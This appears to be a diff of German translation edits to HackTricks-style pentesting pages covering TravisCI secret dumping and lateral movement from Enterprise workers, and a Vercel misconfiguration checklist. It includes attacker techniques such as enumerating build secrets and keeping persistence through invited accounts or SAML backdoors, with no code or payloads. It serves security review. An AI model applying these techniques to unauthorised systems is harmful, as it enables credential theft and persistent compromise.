 basic-travisci-information.md
@@ -35,7 +35,7 @@ TravisCI deaktiviert standardmäßig das Teilen von Umgebungsvariablen mit PRs v

 ### Geheimnisse dumpen

-Wie auf der [**Seite mit grundlegenden Informationen**](basic-travisci-information.md) erklärt, gibt es 2 Arten von Geheimnissen. **Umgebungsvariablen-Geheimnisse** (die auf der Webseite aufgelistet sind) und **benutzerdefinierte verschlüsselte Geheimnisse**, die in der `.travis.yml`-Datei als base64 gespeichert sind (beachten Sie, dass beide als verschlüsselt gespeichert in den endgültigen Maschinen als Umgebungsvariablen enden).
+Wie auf der Seite [**grundlegende Informationen**](basic-travisci-information.md) erklärt, gibt es 2 Arten von Geheimnissen. **Umgebungsvariablen-Geheimnisse** (die auf der Webseite aufgelistet sind) und **benutzerdefinierte verschlüsselte Geheimnisse**, die in der `.travis.yml`-Datei als base64 gespeichert sind (beachten Sie, dass beide als verschlüsselt gespeichert in den endgültigen Maschinen als Umgebungsvariablen enden).

 - Um **Geheimnisse** zu **enumerieren**, die als **Umgebungsvariablen** konfiguriert sind, gehen Sie zu den **Einstellungen** des **Projekts** und überprüfen Sie die Liste. Beachten Sie jedoch, dass alle hier festgelegten Projekt-Umgebungsvariablen erscheinen, wenn ein Build ausgelöst wird.
 - Um die **benutzerdefinierten verschlüsselten Geheimnisse** zu enumerieren, ist das Beste, was Sie tun können, die **`.travis.yml`-Datei** zu überprüfen.
@@ -50,12 +50,12 @@ Wie auf der [**Seite mit grundlegenden Informationen**](basic-travisci-informati

 ### TravisCI Enterprise

-Wenn ein Angreifer in einer Umgebung landet, die **TravisCI Enterprise** verwendet (weitere Informationen dazu finden Sie in den [**grundlegenden Informationen**](basic-travisci-information.md#travisci-enterprise)), wird er in der Lage sein, **Builds im Worker auszulösen.** Das bedeutet, dass ein Angreifer in der Lage sein wird, lateral zu diesem Server zu wechseln, von dem aus er in der Lage sein könnte zu:
+Wenn ein Angreifer in einer Umgebung landet, die **TravisCI Enterprise** verwendet (weitere Informationen dazu finden Sie in den [**grundlegenden Informationen**](basic-travisci-information.md#travisci-enterprise)), wird er in der Lage sein, **Builds im Worker auszulösen.** Das bedeutet, dass ein Angreifer in der Lage sein wird, lateral zu diesem Server zu wechseln, von dem aus er in der Lage sein könnte:

- zum Host entkommen?
- Kubernetes kompromittieren?
- andere Maschinen im selben Netzwerk kompromittieren?
- neue Cloud-Anmeldeinformationen kompromittieren?
+- zum Host zu entkommen?
+- Kubernetes zu kompromittieren?
+- andere Maschinen im selben Netzwerk zu kompromittieren?
+- neue Cloud-Anmeldeinformationen zu kompromittieren?

 ## Referenzen

@@ -1,4 +1,4 @@
-# Grundlegende TravisCI Informationen
+# Grundlegende TravisCI-Informationen

 {{#include ../../banners/hacktricks-training.md}}

@@ -63,7 +63,7 @@ Beachten Sie, dass beim Verschlüsseln einer Datei 2 Umgebungsvariablen im Repos

 ## TravisCI Enterprise

-Travis CI Enterprise ist eine **On-Premise-Version von Travis CI**, die Sie **in Ihrer Infrastruktur** bereitstellen können. Denken Sie an die 'Server'-Version von Travis CI. Die Verwendung von Travis CI ermöglicht es Ihnen, ein benutzerfreundliches Continuous Integration/Continuous Deployment (CI/CD)-System in einer Umgebung zu aktivieren, die Sie nach Ihren Wünschen konfigurieren und sichern können.
+Travis CI Enterprise ist eine **On-Prem-Version von Travis CI**, die Sie **in Ihrer Infrastruktur** bereitstellen können. Denken Sie an die 'Server'-Version von Travis CI. Die Verwendung von Travis CI ermöglicht es Ihnen, ein benutzerfreundliches Continuous Integration/Continuous Deployment (CI/CD)-System in einer Umgebung zu aktivieren, die Sie nach Ihren Wünschen konfigurieren und sichern können.

 **Travis CI Enterprise besteht aus zwei Hauptteilen:**

@@ -73,7 +73,7 @@ Travis CI Enterprise ist eine **On-Premise-Version von Travis CI**, die Sie **in
 **TCI Core-Dienste erfordern Folgendes:**

 1. Eine **PostgreSQL11** (oder später) Datenbank.
-2. Eine Infrastruktur zum Bereitstellen eines Kubernetes-Clusters; es kann in einem Server-Cluster oder auf einer einzelnen Maschine bereitgestellt werden, wenn erforderlich.
+2. Eine Infrastruktur zur Bereitstellung eines Kubernetes-Clusters; sie kann in einem Server-Cluster oder auf einer einzelnen Maschine bereitgestellt werden, wenn erforderlich.
 3. Abhängig von Ihrer Konfiguration möchten Sie möglicherweise einige der Komponenten selbst bereitstellen und konfigurieren, z. B. RabbitMQ - siehe die [Einrichtung von Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) für weitere Details.

 **TCI Worker erfordert Folgendes:**
@@ -4,43 +4,43 @@

 ## Grundinformationen

-In Vercel ist ein **Team** die komplette **Umgebung**, die einem Kunden gehört, und ein **Projekt** ist eine **Anwendung**.
+In Vercel ist ein **Team** die vollständige **Umgebung**, die einem Kunden gehört, und ein **Projekt** ist eine **Anwendung**.

-Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutzer mit **Viewer-Rollenberechtigung** oder mindestens **Projekt-Viewer-Berechtigung über die Projekte** fragen, um zu überprüfen (falls Sie nur die Projekte und nicht die Teamkonfiguration überprüfen müssen).
+Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutzer mit **Viewer-Rollenberechtigung** oder mindestens **Projekt-Viewer-Berechtigung über die Projekte** fragen, um diese zu überprüfen (falls Sie nur die Projekte und nicht die Teamkonfiguration überprüfen müssen).

 ## Projekteinstellungen

 ### Allgemein

-**Zweck:** Verwalten grundlegender Projekteinstellungen wie Projektname, Framework und Build-Konfigurationen.
+**Zweck:** Verwalten Sie grundlegende Projekteinstellungen wie Projektname, Framework und Build-Konfigurationen.

 #### Sicherheitskonfigurationen:

 - **Übertragung**
- **Fehlkonfiguration:** Erlaubt die Übertragung des Projekts zu einem anderen Team
+- **Fehlkonfiguration:** Ermöglicht die Übertragung des Projekts zu einem anderen Team
 - **Risiko:** Ein Angreifer könnte das Projekt stehlen
 - **Projekt löschen**
- **Fehlkonfiguration:** Erlaubt das Löschen des Projekts
+- **Fehlkonfiguration:** Ermöglicht das Löschen des Projekts
 - **Risiko:** Löschen des Projekts

 ---

 ### Domains

-**Zweck:** Verwalten von benutzerdefinierten Domains, DNS-Einstellungen und SSL-Konfigurationen.
+**Zweck:** Verwalten Sie benutzerdefinierte Domains, DNS-Einstellungen und SSL-Konfigurationen.

 #### Sicherheitskonfigurationen:

 - **DNS-Konfigurationsfehler**
- **Fehlkonfiguration:** Falsche DNS-Einträge (A, CNAME), die auf bösartige Server zeigen.
- **Risiko:** Domain-Hijacking, Datenverkehrsüberwachung und Phishing-Angriffe.
+- **Fehlkonfiguration:** Falsche DNS-Einträge (A, CNAME), die auf bösartige Server verweisen.
+- **Risiko:** Domain-Hijacking, Verkehrsabfang und Phishing-Angriffe.
 - **SSL/TLS-Zertifikatsverwaltung**
 - **Fehlkonfiguration:** Verwendung schwacher oder abgelaufener SSL/TLS-Zertifikate.
 - **Risiko:** Anfällig für Man-in-the-Middle (MITM)-Angriffe, die die Datenintegrität und Vertraulichkeit gefährden.
 - **DNSSEC-Implementierung**
 - **Fehlkonfiguration:** DNSSEC nicht aktiviert oder falsche DNSSEC-Einstellungen.
 - **Risiko:** Erhöhte Anfälligkeit für DNS-Spoofing und Cache-Poisoning-Angriffe.
- **Umgebung pro Domain**
+- **Umgebung pro Domain verwenden**
 - **Fehlkonfiguration:** Ändern der in der Produktion verwendeten Umgebung durch die Domain.
 - **Risiko:** Potenzielle Geheimnisse oder Funktionen offenlegen, die in der Produktion nicht verfügbar sein sollten.

@@ -48,7 +48,7 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze

 ### Umgebungen

-**Zweck:** Definieren verschiedener Umgebungen (Entwicklung, Vorschau, Produktion) mit spezifischen Einstellungen und Variablen.
+**Zweck:** Definieren Sie verschiedene Umgebungen (Entwicklung, Vorschau, Produktion) mit spezifischen Einstellungen und Variablen.

 #### Sicherheitskonfigurationen:

@@ -63,25 +63,25 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze

 ### Umgebungsvariablen

-**Zweck:** Verwalten von umgebungsspezifischen Variablen und Geheimnissen, die von der Anwendung verwendet werden.
+**Zweck:** Verwalten Sie umgebungsspezifische Variablen und Geheimnisse, die von der Anwendung verwendet werden.

 #### Sicherheitskonfigurationen:

- **Offenlegung sensibler Variablen**
+- **Sensible Variablen offenlegen**
 - **Fehlkonfiguration:** Präfixierung sensibler Variablen mit `NEXT_PUBLIC_`, wodurch sie auf der Client-Seite zugänglich werden.
- **Risiko:** Offenlegung von API-Schlüsseln, Datenbankanmeldeinformationen oder anderen sensiblen Daten an die Öffentlichkeit, was zu Datenverletzungen führt.
+- **Risiko:** Offenlegung von API-Schlüsseln, Datenbankanmeldeinformationen oder anderen sensiblen Daten für die Öffentlichkeit, was zu Datenverletzungen führt.
 - **Sensible deaktiviert**
 - **Fehlkonfiguration:** Wenn deaktiviert (Standard) ist es möglich, die Werte der generierten Geheimnisse zu lesen.
 - **Risiko:** Erhöhte Wahrscheinlichkeit einer versehentlichen Offenlegung oder unbefugten Zugriffs auf sensible Informationen.
 - **Geteilte Umgebungsvariablen**
- **Fehlkonfiguration:** Dies sind Umgebungsvariablen, die auf Teamebene festgelegt sind und auch sensible Informationen enthalten könnten.
+- **Fehlkonfiguration:** Dies sind Umgebungsvariablen, die auf Teamebene festgelegt sind und ebenfalls sensible Informationen enthalten könnten.
 - **Risiko:** Erhöhte Wahrscheinlichkeit einer versehentlichen Offenlegung oder unbefugten Zugriffs auf sensible Informationen.

 ---

 ### Git

-**Zweck:** Konfigurieren von Git-Repository-Integrationen, Branch-Schutzmaßnahmen und Bereitstellungsauslösern.
+**Zweck:** Konfigurieren Sie Git-Repository-Integrationen, Branch-Schutz und Bereitstellungsauslöser.

 #### Sicherheitskonfigurationen:

@@ -93,7 +93,7 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze

 ### Integrationen

-**Zweck:** Verbinden von Drittanbieterdiensten und -tools zur Verbesserung der Projektfunktionen.
+**Zweck:** Verbinden Sie Drittanbieterdienste und -tools, um die Projektfunktionen zu verbessern.

 #### Sicherheitskonfigurationen:

@@ -111,7 +111,7 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze

 ### Bereitstellungsschutz

-**Zweck:** Sichern von Bereitstellungen durch verschiedene Schutzmechanismen, die steuern, wer auf Ihre Umgebungen zugreifen und bereitstellen kann.
+**Zweck:** Sichern Sie Bereitstellungen durch verschiedene Schutzmechanismen und steuern Sie, wer auf Ihre Umgebungen zugreifen und bereitstellen kann.

 #### Sicherheitskonfigurationen:

@@ -127,24 +127,24 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze

 **Teilen von Links**

- **Fehlkonfiguration:** Unüberlegtes Teilen von Links oder Versäumnis, veraltete Links zu widerrufen.
+- **Fehlkonfiguration:** Teilen von Links ohne Einschränkungen oder Versäumnis, veraltete Links zu widerrufen.
 - **Risiko:** Unbefugter Zugriff auf geschützte Bereitstellungen, Umgehung von Authentifizierung und IP-Beschränkungen.

-**OPTIONS Allowlist**
+**OPTIONS-Whitelist**

- **Fehlkonfiguration:** Zu breite Pfade oder sensible Endpunkte auf die Allowlist setzen.
+- **Fehlkonfiguration:** Zu breite Pfade oder sensible Endpunkte auf die Whitelist setzen.
 - **Risiko:** Angreifer können ungeschützte Pfade ausnutzen, um unbefugte Aktionen durchzuführen oder Sicherheitsprüfungen zu umgehen.

 **Passwortschutz**

- **Fehlkonfiguration:** Verwendung schwacher Passwörter oder unsicheres Teilen.
+- **Fehlkonfiguration:** Verwendung schwacher Passwörter oder unsichere Weitergabe.
 - **Risiko:** Unbefugter Zugriff auf Bereitstellungen, wenn Passwörter erraten oder geleakt werden.
 - **Hinweis:** Verfügbar im **Pro**-Plan als Teil des **Erweiterten Bereitstellungsschutzes** für zusätzlich 150 $/Monat.

 **Ausnahmen beim Bereitstellungsschutz**

 - **Fehlkonfiguration:** Unabsichtliches Hinzufügen von Produktions- oder sensiblen Domains zur Ausnahmeliste.
- **Risiko:** Offenlegung kritischer Bereitstellungen an die Öffentlichkeit, was zu Datenlecks oder unbefugtem Zugriff führt.
+- **Risiko:** Offenlegung kritischer Bereitstellungen für die Öffentlichkeit, was zu Datenlecks oder unbefugtem Zugriff führt.
 - **Hinweis:** Verfügbar im **Pro**-Plan als Teil des **Erweiterten Bereitstellungsschutzes** für zusätzlich 150 $/Monat.

 **Vertrauenswürdige IPs**
@@ -157,7 +157,7 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze

 ### Funktionen

-**Zweck:** Konfigurieren von serverlosen Funktionen, einschließlich Laufzeiteinstellungen, Speicherzuweisung und Sicherheitsrichtlinien.
+**Zweck:** Konfigurieren Sie serverlose Funktionen, einschließlich Laufzeiteinstellungen, Speicherzuweisung und Sicherheitsrichtlinien.

 #### Sicherheitskonfigurationen:

@@ -167,35 +167,35 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze

 ### Daten-Cache

-**Zweck:** Verwalten von Caching-Strategien und -Einstellungen zur Optimierung der Leistung und Kontrolle der Datenspeicherung.
+**Zweck:** Verwalten Sie Caching-Strategien und -Einstellungen, um die Leistung zu optimieren und die Datenspeicherung zu steuern.

 #### Sicherheitskonfigurationen:

 - **Cache leeren**
- **Fehlkonfiguration:** Es erlaubt, den gesamten Cache zu löschen.
+- **Fehlkonfiguration:** Es ermöglicht das Löschen des gesamten Caches.
 - **Risiko:** Unbefugte Benutzer löschen den Cache, was zu einem potenziellen DoS führen kann.

 ---

 ### Cron-Jobs

-**Zweck:** Planen automatisierter Aufgaben und Skripte, die in festgelegten Intervallen ausgeführt werden.
+**Zweck:** Planen Sie automatisierte Aufgaben und Skripte, die in festgelegten Intervallen ausgeführt werden.

 #### Sicherheitskonfigurationen:

 - **Cron-Job deaktivieren**
- **Fehlkonfiguration:** Es erlaubt, Cron-Jobs, die im Code deklariert sind, zu deaktivieren.
+- **Fehlkonfiguration:** Es ermöglicht das Deaktivieren von Cron-Jobs, die im Code deklariert sind.
 - **Risiko:** Potenzielle Unterbrechung des Dienstes (je nachdem, wofür die Cron-Jobs gedacht waren).

 ---

 ### Log Drains

-**Zweck:** Konfigurieren externer Protokollierungsdienste, um Anwendungsprotokolle zur Überwachung und Prüfung zu erfassen und zu speichern.
+**Zweck:** Konfigurieren Sie externe Protokollierungsdienste, um Anwendungsprotokolle zur Überwachung und Prüfung zu erfassen und zu speichern.

 #### Sicherheitskonfigurationen:

- Nichts (wird von den Teameinstellungen verwaltet)
+- Nichts (wird aus den Teameinstellungen verwaltet)

 ---

@@ -212,17 +212,17 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze

 **Git-Fork-Schutz**

- **Fehlkonfiguration:** Erlauben unbefugter Pull-Requests ohne ordnungsgemäße Überprüfungen.
+- **Fehlkonfiguration:** Zulassung unbefugter Pull-Requests ohne ordnungsgemäße Überprüfungen.
 - **Risiko:** Bösartiger Code kann in den Code integriert werden, was Schwachstellen oder Hintertüren einführt.

-**Sicherer Backend-Zugriff mit OIDC-Föderation**
+**Sichere Backend-Zugriffe mit OIDC-Föderation**

 - **Fehlkonfiguration:** Falsche Einrichtung von OIDC-Parametern oder Verwendung unsicherer Aussteller-URLs.
 - **Risiko:** Unbefugter Zugriff auf Backend-Dienste durch fehlerhafte Authentifizierungsflüsse.

 **Bereitstellungsaufbewahrungsrichtlinie**

- **Fehlkonfiguration:** Festlegen von Aufbewahrungsfristen, die zu kurz sind (Verlust der Bereitstellungshistorie) oder zu lang (unnötige Datenaufbewahrung).
+- **Fehlkonfiguration:** Festlegung von Aufbewahrungsfristen, die zu kurz sind (Verlust der Bereitstellungshistorie) oder zu lang (unnötige Datenaufbewahrung).
 - **Risiko:** Unfähigkeit, bei Bedarf Rollbacks durchzuführen, oder erhöhtes Risiko der Datenexposition durch alte Bereitstellungen.

 **Kürzlich gelöschte Bereitstellungen**
@@ -258,8 +258,8 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze

 ### Benutzerdefinierte Regeln & IP-Blockierung

- **Fehlkonfiguration:** Erlaubt das Entsperren/Blockieren von Datenverkehr.
- **Risiko:** Potenzieller DoS, der bösartigen Datenverkehr zulässt oder legitimen Datenverkehr blockiert.
+- **Fehlkonfiguration:** Ermöglicht das Entsperren/Blockieren von Verkehr.
+- **Risiko:** Potenzieller DoS, der bösartigen Verkehr zulässt oder legitimen Verkehr blockiert.

 ---

@@ -267,12 +267,12 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze

 ### Quelle

- **Fehlkonfiguration:** Erlaubt den Zugriff auf den vollständigen Quellcode der Anwendung.
+- **Fehlkonfiguration:** Ermöglicht den Zugriff auf den vollständigen Quellcode der Anwendung.
 - **Risiko:** Potenzielle Offenlegung sensibler Informationen.

 ### Skew-Schutz

- **Fehlkonfiguration:** Dieser Schutz stellt sicher, dass die Client- und Serveranwendung immer dieselbe Version verwenden, sodass es keine Desynchronisationen gibt, bei denen der Client eine andere Version als der Server verwendet und sie sich daher nicht verstehen.
+- **Fehlkonfiguration:** Dieser Schutz stellt sicher, dass die Client- und Serveranwendung immer dieselbe Version verwenden, sodass es keine Desynchronisation gibt, bei der der Client eine andere Version als der Server verwendet und sie sich daher nicht verstehen.
 - **Risiko:** Deaktivierung dieses (wenn aktiviert) könnte in zukünftigen Bereitstellungen DoS-Probleme verursachen.

 ---
@@ -284,10 +284,10 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze
 #### Sicherheitskonfigurationen:

 - **Übertragung**
- **Fehlkonfiguration:** Erlaubt die Übertragung aller Projekte zu einem anderen Team.
+- **Fehlkonfiguration:** Ermöglicht die Übertragung aller Projekte zu einem anderen Team.
 - **Risiko:** Ein Angreifer könnte die Projekte stehlen.
 - **Projekt löschen**
- **Fehlkonfiguration:** Erlaubt das Löschen des Teams mit allen Projekten.
+- **Fehlkonfiguration:** Ermöglicht das Löschen des Teams mit allen Projekten.
 - **Risiko:** Löschen der Projekte.

 ---
@@ -296,7 +296,7 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze

 #### Sicherheitskonfigurationen:

- **Kostenlimit für Speed Insights**
+- **Speed Insights Kostenlimit**
 - **Fehlkonfiguration:** Ein Angreifer könnte diese Zahl erhöhen.
 - **Risiko:** Erhöhte Kosten.

@@ -310,7 +310,7 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze
 - **Fehlkonfiguration:** Ein Angreifer könnte Persistenz aufrechterhalten, indem er ein Konto einlädt, das er kontrolliert.
 - **Risiko:** Persistenz des Angreifers.
 - **Rollen**
- **Fehlkonfiguration:** Gewährung zu vieler Berechtigungen an Personen, die sie nicht benötigen, erhöht das Risiko der Vercel-Konfiguration. Überprüfen Sie alle möglichen Rollen unter [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles).
+- **Fehlkonfiguration:** Gewährung zu vieler Berechtigungen an Personen, die sie nicht benötigen, erhöht das Risiko der Vercel-Konfiguration. Überprüfen Sie alle möglichen Rollen in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles).
 - **Risiko:** Erhöhte Exposition des Vercel-Teams.

 ---
@@ -322,7 +322,7 @@ Eine **Zugriffsgruppe** in Vercel ist eine Sammlung von Projekten und Teammitgli
 **Potenzielle Fehlkonfigurationen:**

 - **Überberechtigung von Mitgliedern:** Zuweisung von Rollen mit mehr Berechtigungen als notwendig, was zu unbefugtem Zugriff oder Aktionen führt.
- **Falsche Rollenzuweisungen:** Falsche Zuweisung von Rollen, die nicht mit den Verantwortlichkeiten der Teammitglieder übereinstimmen, was zu einer Privilegieneskalation führt.
+- **Unangemessene Rollenzuweisungen:** Falsche Zuweisung von Rollen, die nicht mit den Verantwortlichkeiten der Teammitglieder übereinstimmen, was zu einer Privilegieneskalation führt.
 - **Mangelnde Projekttrennung:** Versäumnis, sensible Projekte zu trennen, was einen breiteren Zugriff als beabsichtigt ermöglicht.
 - **Unzureichendes Gruppenmanagement:** Nicht regelmäßiges Überprüfen oder Aktualisieren von Zugriffgruppen, was zu veralteten oder unangemessenen Zugriffsberechtigungen führt.
 - **Inkonsistente Rollendefinitionen:** Verwendung inkonsistenter oder unklarer Rollendefinitionen in verschiedenen Zugriffgruppen, was zu Verwirrung und Sicherheitslücken führt.
@@ -343,14 +343,14 @@ Eine **Zugriffsgruppe** in Vercel ist eine Sammlung von Projekten und Teammitgli

 #### Sicherheitskonfigurationen:

- **Team-E-Mail-Domain:** Wenn konfiguriert, lädt diese Einstellung automatisch Vercel-Persönliche Konten mit E-Mail-Adressen, die auf die angegebene Domain enden (z. B. `mydomain.com`), ein, Ihrem Team bei der Anmeldung und im Dashboard beizutreten.
+- **Team-E-Mail-Domain:** Bei der Konfiguration lädt diese Einstellung automatisch Vercel-Persönliche Konten mit E-Mail-Adressen, die auf die angegebene Domain enden (z. B. `mydomain.com`), ein, Ihrem Team bei der Anmeldung und im Dashboard beizutreten.
 - **Fehlkonfiguration:** 
- Falsche Angabe der E-Mail-Domain oder einer falsch geschriebenen Domain in der Team-E-Mail-Domain-Einstellung.
+- Falsche E-Mail-Domain oder falsch geschriebene Domain in der Team-E-Mail-Domain-Einstellung angeben.
 - Verwendung einer gängigen E-Mail-Domain (z. B. `gmail.com`, `hotmail.com`) anstelle einer unternehmensspezifischen Domain.
 - **Risiken:**
 - **Unbefugter Zugriff:** Benutzer mit E-Mail-Adressen von unbeabsichtigten Domains könnten Einladungen erhalten, Ihrem Team beizutreten.
 - **Datenexposition:** Potenzielle Offenlegung sensibler Projektinformationen an unbefugte Personen.
- **Geschützte Git-Scopes:** Ermöglicht das Hinzufügen von bis zu 5 Git-Scopes zu Ihrem Team, um zu verhindern, dass andere Vercel-Teams Repositories aus dem geschützten Scope bereitstellen. Mehrere Teams können denselben Scope angeben, was beiden Teams Zugriff gewährt.
+- **Geschützte Git-Scopes:** Ermöglicht Ihnen, bis zu 5 Git-Scopes zu Ihrem Team hinzuzufügen, um zu verhindern, dass andere Vercel-Teams Repositories aus dem geschützten Scope bereitstellen. Mehrere Teams können denselben Scope angeben, was beiden Teams den Zugriff ermöglicht.
 - **Fehlkonfiguration:** Kritische Git-Scopes nicht zur geschützten Liste hinzufügen.
 - **Risiken:**
 - **Unbefugte Bereitstellungen:** Andere Teams könnten Repositories aus den Git-Scopes Ihrer Organisation ohne Genehmigung bereitstellen.
@@ -366,16 +366,16 @@ Gewährung des Zugriffs auf Audit-Protokolle für unbefugte Teammitglieder.
 - **Risiken:**
 - **Datenschutzverletzungen:** Offenlegung sensibler Benutzeraktivitäten und -daten.
 - **Manipulation von Protokollen:** Böswillige Akteure könnten Protokolle ändern oder löschen, um ihre Spuren zu verwischen.
- **SAML Single Sign-On:** Ermöglicht die Anpassung der SAML-Authentifizierung und der Verzeichnis-Synchronisierung für Ihr Team, wodurch die Integration mit einem Identitätsanbieter (IdP) für zentrale Authentifizierung und Benutzerverwaltung ermöglicht wird.
- **Fehlkonfiguration:** Ein Angreifer könnte die Teamkonfiguration durch das Einrichten von SAML-Parametern wie Entity ID, SSO-URL oder Zertifikat-Fingerabdrücken kompromittieren.
+- **SAML Single Sign-On:** Ermöglicht die Anpassung der SAML-Authentifizierung und der Verzeichnis-Synchronisierung für Ihr Team, wodurch die Integration mit einem Identitätsanbieter (IdP) für zentralisierte Authentifizierung und Benutzerverwaltung ermöglicht wird.
+- **Fehlkonfiguration:** Ein Angreifer könnte die Teamkonfiguration durch das Einrichten von SAML-Parametern wie Entity ID, SSO-URL oder Zertifikat-Fingerabdrücken zurückdooren.
 - **Risiko:** Persistenz aufrechterhalten.
- **Sichtbarkeit der IP-Adressen:** Steuert, ob IP-Adressen, die unter bestimmten Datenschutzgesetzen als persönliche Informationen gelten könnten, in Überwachungsabfragen und Log Drains angezeigt werden.
- **Fehlkonfiguration:** Sichtbarkeit der IP-Adressen ohne Notwendigkeit aktiviert lassen.
+- **Sichtbarkeit der IP-Adresse:** Steuert, ob IP-Adressen, die unter bestimmten Datenschutzgesetzen als persönliche Informationen gelten könnten, in Überwachungsabfragen und Log Drains angezeigt werden.
+- **Fehlkonfiguration:** Sichtbarkeit der IP-Adresse ohne Notwendigkeit aktiviert lassen.
 - **Risiken:**
- **Datenschutzverletzungen:** Nichteinhaltung von Datenschutzvorschriften wie der DSGVO.
+- **Datenschutzverletzungen:** Nichteinhaltung von Datenschutzvorschriften wie GDPR.
 - **Rechtliche Konsequenzen:** Potenzielle Geldstrafen und Strafen für den unsachgemäßen Umgang mit persönlichen Daten.
 - **IP-Blockierung:** Ermöglicht die Konfiguration von IP-Adressen und CIDR-Bereichen, von denen Vercel Anfragen blockieren sollte. Blockierte Anfragen tragen nicht zu Ihrer Abrechnung bei.
- **Fehlkonfiguration:** Könnte von einem Angreifer missbraucht werden, um bösartigen Datenverkehr zuzulassen oder legitimen Datenverkehr zu blockieren.
+- **Fehlkonfiguration:** Könnte von einem Angreifer missbraucht werden, um bösartigen Verkehr zuzulassen oder legitimen Verkehr zu blockieren.
 - **Risiken:**
 - **Dienstverweigerung für legitime Benutzer:** Blockierung des Zugriffs für gültige Benutzer oder Partner.
 - **Betriebliche Störungen:** Verlust der Dienstverfügbarkeit für bestimmte Regionen oder Kunden.
@@ -384,7 +384,7 @@ Gewährung des Zugriffs auf Audit-Protokolle für unbefugte Teammitglieder.

 ### Sicheres Rechnen

-**Vercel Secure Compute** ermöglicht sichere, private Verbindungen zwischen Vercel-Funktionen und Backend-Umgebungen (z. B. Datenbanken), indem isolierte Netzwerke mit dedizierten IP-Adressen eingerichtet werden. Dies eliminiert die Notwendigkeit, Backend-Dienste öffentlich zugänglich zu machen, und verbessert die Sicherheit, Compliance und den Datenschutz.
+**Vercel Secure Compute** ermöglicht sichere, private Verbindungen zwischen Vercel-Funktionen und Backend-Umgebungen (z. B. Datenbanken), indem isolierte Netzwerke mit dedizierten IP-Adressen eingerichtet werden. Dies beseitigt die Notwendigkeit, Backend-Dienste öffentlich zugänglich zu machen, und verbessert die Sicherheit, Compliance und den Datenschutz.

 #### **Potenzielle Fehlkonfigurationen und Risiken**

@@ -408,7 +408,30 @@ Gewährung des Zugriffs auf Audit-Protokolle für unbefugte Teammitglieder.
 - **Risiko:** Erweiterte Angriffsfläche, erhöhte Bereitstellungsverzögerungen und unnötiger Verbrauch von Netzwerkressourcen.
 7. **Versäumnis, Umgehungsgeheimnisse sicher zu behandeln**
 - **Fehlkonfiguration:** Offenlegung oder unsachgemäße Handhabung von Geheimnissen, die zur Umgehung von Bereitstellungsschutzmaßnahmen verwendet werden.
- **Risiko:** Unbefugter Zugriff auf geschützte Bereitstellungen, was Angreifern ermöglicht, bösartigen Code zu manipulieren oder bereitzustellen.
+- **Risiko:** Unbefugter Zugriff auf geschützte Bereitstellungen, der es Angreifern ermöglicht, bösartigen Code zu manipulieren oder bereitzustellen.
 8. **Ignorieren von Failover-Konfigurationen für Regionen**
- **Fehlkonfiguration:** Keine Einrichtung passiver Failover-Regionen oder falsche Konfiguration der Failover-Einstellungen.
- **Risiko:** Dienstunterbre
+- **Fehlkonfiguration:** Keine Einrichtung passiver Failover-Regionen oder fehlerhafte Failover-Einstellungen.
+- **Risiko:** Dienstunterbrechungen während Ausfällen der primären Region, was zu reduzierter Verfügbarkeit und potenzieller Dateninkonsistenz führt.
+9. **Überschreiten der VPC-Peering-Verbindungsgrenzen**
+- **Fehlkonfiguration:** Versuch, mehr VPC-Peering-Verbindungen herzustellen als die zulässige Grenze (z. B. mehr als 50 Verbindungen).
+- **Risiko:** Unfähigkeit, notwendige Backend-Dienste sicher zu verbinden, was zu Bereitstellungsfehlern und betrieblichen Störungen führt.
+10. **Unsichere Netzwerkeinstellungen**
+- **Fehlkonfiguration:** Schwache Firewall-Regeln, fehlende Verschlüsselung oder unsachgemäße Netzwerksegmentierung innerhalb des Secure Compute-Netzwerks.
+- **Risiko:** Datenabfang, unbefugter Zugriff auf Backend-Dienste und erhöhte Anfälligkeit für Angriffe.
+
+---
+
+### Umgebungsvariablen
+
+**Zweck:** Verwalten Sie umgebungsspezifische Variablen und Geheimnisse, die von allen Projekten verwendet werden.
+
+#### Sicherheitskonfigurationen:
+
+- **Sensible Variablen offenlegen**
+- **Fehlkonfiguration:** Präfixierung sensibler Variablen mit `NEXT_PUBLIC_`, wodurch sie auf der Client-Seite zugänglich werden.
+- **Risiko:** Offenlegung von API-Schlüsseln, Datenbankanmeldeinformationen oder anderen sensiblen Daten für die Öffentlichkeit, was zu Datenverletzungen führt.
+- **Sensible deaktiviert**
+- **Fehlkonfiguration:** Wenn deaktiviert (Standard) ist es möglich, die Werte der generierten Geheimnisse zu lesen.
+- **Risiko:** Erhöhte Wahrscheinlichkeit einer versehentlichen Offenlegung oder unbefugten Zugriffs auf sensible Informationen.
+
+{{#include ../banners/hacktricks-training.md}}